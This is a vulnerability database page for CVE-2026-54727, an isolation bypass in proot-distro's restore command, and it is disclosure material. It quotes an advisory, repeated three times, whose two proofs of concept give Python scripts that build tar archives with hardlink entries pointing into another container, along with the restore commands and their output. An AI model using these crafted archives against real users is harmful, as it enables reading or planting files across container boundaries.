Every CVE Search/ Get API key

CVE-2026-54727

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

8.2 HighFix available

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.19%Up 0.1 points since Jul 30, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Record
CVE-2026-54727
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-668
Updated
2026-11-02
EUVDEUVD-2026-50415 8.2

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Record
EUVD-2026-50415
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7h3g-4w2f-fj2f 8.2

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Affected Component

  • Package: proot-distro
  • Affected command: restore
  • Attack surface: Host-side Termux CLI processing a user-supplied backup archive
  • Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |


Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.


Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.


Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

Step 2 — Create a victim container

proot-distro install alpine --name victim

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.


Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

  • Disclosure…
Record
GHSA-7h3g-4w2f-fj2f
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-668
Updated
2026-11-02
NVD 8.2

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Record
CVE-2026-54727
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-668
Updated
2026-11-02
OSV 8.2

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.

Record
CVE-2026-54727
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-668
Updated
2026-11-02
OSVGHSA-7h3g-4w2f-fj2f 8.2

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Affected Component

  • Package: proot-distro
  • Affected command: restore
  • Attack surface: Host-side Termux CLI processing a user-supplied backup archive
  • Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |


Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.


Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.


Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

Step 2 — Create a victim container

proot-distro install alpine --name victim

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.


Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

  • Disclosure…
Record
GHSA-7h3g-4w2f-fj2f
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-668
Updated
2026-11-02
OSVPYSEC-2026-3607 8.2

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Affected Component

  • Package: proot-distro
  • Affected command: restore
  • Attack surface: Host-side Termux CLI processing a user-supplied backup archive
  • Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |


Summary

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.


Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1 — Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

Step 2 — Create an attacker container

proot-distro install alpine --name attacker

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./malicious.tar

Step 5 — Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.


Proof of Concept #2 — Cross-Container File Injection

Step 1 — Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

Step 2 — Create a victim container

proot-distro install alpine --name victim

Step 3 — Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

Step 4 — Restore the crafted archive

proot-distro restore ./write_test.tar

Step 5 — Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.


Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

  • Disclosure…
Record
PYSEC-2026-3607
CVSS 3.1
8.2 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
proot-distro
PyPI
through 5.1.5
5.1.6
proot-distro
PyPI
before 5.1.6, plus listed versions
5.0.05.0.0b15.0.0b25.0.0b35.0.0b4
Show 9 moreShow less
5.0.0b55.0.15.0.25.1.05.1.15.1.25.1.35.1.45.1.5
5.1.6

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-54727 is a high vulnerability (CVSS 8.2) in Termux Proot-distro, published July 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in proot-distro 5.1.6.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open